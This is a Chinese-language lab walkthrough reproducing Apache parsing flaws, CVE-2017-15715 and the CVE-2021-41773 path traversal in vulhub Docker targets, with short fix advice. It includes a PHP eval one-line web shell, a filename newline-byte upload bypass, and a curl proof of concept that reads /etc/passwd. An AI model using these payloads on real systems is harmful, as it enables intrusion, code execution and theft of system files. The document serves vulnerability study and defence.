Apache 是世界使⽤排名第⼀的 Web 服务器软件。它可以运⾏在⼏乎所有⼴泛使⽤的计算机平台上,由于其跨平台和安全性被⼴泛使⽤,是最流⾏的 Web 服务器端软件之⼀。
一.文件解析
漏洞复现
环境搭建命令如下
cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose up -d
docker ps -a
打开并访问靶机后,我们上传一个名为1.php.jpg的文件,内容为
<?php
@eval($_POST['cmd']);
?>
可以直接上传成功,我们尝试访问后也成功访问
然后尝试用蚁剑连接,发现连接成功
漏洞修复
1.在 .htaccess 或主配置文件中强制设置 MIME 类型
2.更新apache到最新版
二.Apache CVE-2017-15715
漏洞复现
搭建环境命令如下
cd vulhub/Apache/CVE-2017-15715
docker-compose up -d
这一关进入靶场后发现可以给上传的文件改变名称,我们直接上传一个后缀为php的文件,内容为一句话木马,随便起一个名字(这里为2332.php)
<?php
@eval($_POST['cmd']);
?>
然后抓包进行提交,在2332.php文件后加一个空格,打开hex界面,将添加的这个空格所属的20改为0a后放行
放行后没有回显信息告诉我们是否上传成功,所以我们直接去尝试访问,发现访问成功,用蚁剑连接也成功连接
漏洞修复
1.升级到 Apache HTTP Server 的最新版本
2.明确禁用或更改可能被滥用的 MIME 类型
3.安装并配置 Web 应用防火墙
三.⽬录遍历漏洞
当客户端访问到⼀个⽬录时,Apache服务器将会默认寻找⼀个index list中的⽂件,若⽂件不存在,则会列出当前⽬录下所有⽂件或返回403状态码,⽽列出⽬录下所有⽂件的⾏为称为⽬录遍历。
四.CVE-2021-41773
Apache HTTP Server 路径穿越漏洞
该漏洞是由于Apache HTTP Server 2.4.49版本存在⽬录穿越漏洞,在路径穿越⽬录 Require all granted允许被访问的的情况下(默认开启),攻击者可利⽤该路 径穿越漏洞读取到Web⽬录之外的其他⽂件 在服务端开启了gi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执⾏任意cgi命令(RCE)
漏洞复现
搭建环境命令如下
docker pull blueteamsteve/cve-2021-41773:no-cgid
访问到页面后显示
然后直接使用poc,curl去查询,命令如下
curl http://IP:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
执行成功后即可获取敏感文件内容